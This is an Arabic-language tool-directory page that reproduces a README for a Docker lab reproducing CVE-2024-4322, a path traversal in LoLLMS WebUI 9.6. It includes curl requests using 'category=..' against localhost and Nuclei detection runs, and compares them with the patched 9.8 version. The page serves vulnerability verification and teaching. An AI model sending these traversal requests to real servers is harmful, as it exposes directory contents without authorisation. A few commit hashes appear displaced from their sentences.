Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
POC_CVE-2024-4322 — POC_CVE-2024-4322 | Kitploit
أدوات/GitHubGitHub/mj-bin/poc_cve-2024-4322
تحليل الثغرات الأمنيةالاستغلالأمن الويبCTFالتعلم والتعليممختبرات وتدريب عملي
GitHubmj-bin/poc_cve-2024-4322

POC_CVE-2024-4322

POC_CVE-2024-4322

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-4322: مختبر PoC والتحقق بـ Nuclei لـ LoLLMS WebUI

يوفر هذا المستودع مختبرات محلية معتمدة على Docker لإعادة إنتاج CVE-2024-4322، وهي ثغرة اجتياز المسار في LoLLMS WebUI الإصدار 9.6، وللتحقق من أن قالب Nuclei المرتبط لا يطابق LoLLMS WebUI الإصدار 9.8.

استخدم هذا المختبر فقط ضد أهداف محلية أو مملوكة لك أو مرخَّص بها صراحةً.

ملخص الثغرة

نقطة النهاية /list_personalities في LoLLMS WebUI الإصدار 9.6 معرضة لاجتياز المسار. يتم إلحاق المعامل category الذي يتحكم فيه المستخدم بـ personalities_zoo_path دون تنقية:

root@kitploit:~
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'

من خلال إرسال category=..، يمكن للطلب تجاوز دليل الشخصيات المقصود وسرد محتويات الدليل الأصلي.

إشارة الثغرة المتوقعة:

root@kitploit:~
category=   -> []
category=.. -> response contains "personalities_zoo"

سلوك الإصدار 9.8 المُصلَح يرفض مدخلات الاجتياز قبل سرد الدليل.

مصفوفة المختبرات

نفّذ جميع الأوامر من الدليل الذي يحتوي على هذا README.

مختبر لينكس المعرض للثغرة

1. تشغيل الخادم

root@kitploit:~
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server

انتظر حتى يظهر:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

اضغط Ctrl-C لإيقاف متابعة السجلات. تستمر الحاوية في العمل.

2. التحقق من سلوك HTTP

root@kitploit:~
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .

النتيجة المتوقعة:

root@kitploit:~
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]

قد يختلف الترتيب. الإشارة المهمة هي أن استجابة الاجتياز تختلف عن استجابة التحكم وتحتوي على personalities_zoo.

3. التحقق باستخدام Nuclei

root@kitploit:~
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug

النتيجة المتوقعة:

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

التحقق بواسطة Nuclei على لينكس المعرض للثغرة

مختبر لينكس المُصلَح

1. تشغيل الخادم

root@kitploit:~
docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server

انتظر حتى يظهر:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. التحقق من سلوك HTTP

root@kitploit:~
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'

النتيجة المتوقعة:

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. التحقق باستخدام Nuclei

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml

النتيجة المتوقعة:

root@kitploit:~
[INF] Scan completed ... 0 matches found.

التحقق بواسطة Nuclei على لينكس المُصلَح

مختبر ويندوز المعرض للثغرة

يتطلب هذا تشغيل Docker Desktop في وضع حاويات ويندوز. نفّذ الأوامر أدناه من هذا الدليل في PowerShell.

1. تشغيل الخادم

root@kitploit:~
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server

انتظر حتى يظهر:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. التحقق من سلوك HTTP

root@kitploit:~
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."

النتيجة المتوقعة:

root@kitploit:~
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]

قد يختلف الترتيب. الإشارة المهمة هي أن استجابة الاجتياز تختلف عن استجابة التحكم وتحتوي على personalities_zoo.

3. التحقق باستخدام Nuclei

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug

النتيجة المتوقعة:

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

التحقق بواسطة Nuclei على ويندوز المعرض للثغرة

مختبر ويندوز المُصلَح

يتطلب هذا تشغيل Docker Desktop في وضع حاويات ويندوز. نفّذ الأوامر أدناه من هذا الدليل في PowerShell.

1. تشغيل الخادم

root@kitploit:~
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server

انتظر حتى يظهر:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. التحقق من سلوك HTTP

root@kitploit:~
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."

النتيجة المتوقعة:

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. التحقق باستخدام Nuclei

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml

النتيجة المتوقعة:

root@kitploit:~
[INF] Scan completed ... 0 matches found.

التحقق بواسطة Nuclei على ويندوز المُصلَح

التنظيف

حاويات لينكس:

root@kitploit:~
docker compose --profile patched down --rmi local

حاويات ويندوز:

root@kitploit:~
docker compose --profile windows down

المتطلبات

  • Docker و Docker Compose.
  • Docker Desktop في وضع حاويات ويندوز لمختبرات ويندوز.
  • curl.
  • jq لأمثلة HTTP الخاصة بمختبر لينكس المعرض للثغرة.
  • Nuclei للتحقق من القوالب.

إذا لم يكن jq متاحًا على مضيف لينكس، فاستخدم حاوية المحلل:

root@kitploit:~
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .

إذا لم يكن Nuclei مثبتًا على ويندوز، فقم بتنزيل الإصدار الثنائي الخاص بويندوز من https://github.com/projectdiscovery/nuclei/releases، وفك ضغطه، ثم شغّل nuclei.exe مباشرة من الدليل المستخرج.

ملاحظات إعداد المختبر

تقوم ملفات Dockerfiles بتعديل المثبّتات التاريخية أثناء البناء بحيث يكون المختبر قابلاً لإعادة الإنتاج اليوم:

  • تستنسخ المختبرات المعرضة للثغرة وسم lollms-webui بالإصدار v9.6.

  • تستنسخ المختبرات المُصلَحة وسم lollms-webui بالإصدار v9.8.

  • يُعاد كتابة عنوان URL للوحدة الفرعية lollms_core إلى https://github.com/ParisNeo/lollms_legacy.git لأن سجل المصدر القديم انتقل إلى هناك.

  • يتم فحص تثبيت الإصدار مقابل بيانات Git الوصفية من المنبع: v9.6 هو e2f2d313cd6ea3fe81dfc4496f985f5b650853b9، وv9.8 هو 8a8e3a1c386321f641a014bf8f7029512ccad411.

    root@kitploit:~
    git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
    
  • التزامات الوحدة الفرعية المقابلة lollms_core هي للإصدار 9.6 و للإصدار 9.8، ويتم التحقق منها باستخدام عند كل فحص للوسم.

الأساس المنطقي للتصحيح

الثابت المكسور هو:

root@kitploit:~
resolved path must stay inside the personalities directory

يعالج LoLLMS WebUI الإصدار 9.8 والإصدارات الأحدث المشكلة عن طريق تنقية أو تقييد مسار category قبل وصوله إلى منطق سرد الدليل في نظام الملفات. بالنسبة لعمليات النشر الفعلية، قم بترقية LoLLMS WebUI إلى الإصدار 9.8 أو أحدث.

تنزيل الأداة
البيئةالإصدارالخدمةرابط المضيفنتيجة القالب المتوقعة
لينكس معرض للثغرةv9.6linux-vuln-serverhttp://127.0.0.1:9600تطابق
لينكس مُصلَحv9.8linux-patched-serverhttp://127.0.0.1:9602لا تطابق
ويندوز معرض للثغرةv9.6windows-vuln-serverhttp://127.0.0.1:9601تطابق
ويندوز مُصلَحv9.8windows-patched-serverhttp://127.0.0.1:9603لا تطابق
cfb18f6f1091addf440347322441ab28005a2d3b
6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49
git ls-tree HEAD lollms_core
  • يتم تعطيل خيارات auto_update وauto_sync_* لإبقاء كل مختبر مثبتًا على إصدار محدد.

  • يتم حقن ملفات إعدادات headless حتى يتمكن الخادم من البدء دون مطالبات.

  • يتم تخطي التبعيات الثقيلة غير اللازمة للتحقق من نقطة النهاية حيثما أمكن.

  • يتم تعديل مثبّتات ويندوز لإنشاء دليلها المؤقت وتجنب الوحدات الفرعية المتكررة القديمة.